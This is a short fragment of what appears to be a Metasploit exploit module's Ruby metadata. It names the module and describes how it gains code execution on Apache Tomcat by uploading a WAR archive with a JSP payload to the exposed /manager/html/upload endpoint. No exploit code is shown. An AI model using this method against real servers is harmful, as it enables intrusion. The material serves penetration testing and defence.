'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution' ,
'Description' => %q{
This module can be used to execute a payload on Apache Tomcat servers that
have an exposed "manager" application. The payload is uploaded as a WAR archive
containing a jsp application using a POST request against the /manager/html/upload
component.
NOTE : The compatible payload sets vary based on the selected target. For
example, you must select the Windows target to use native Windows payloads.
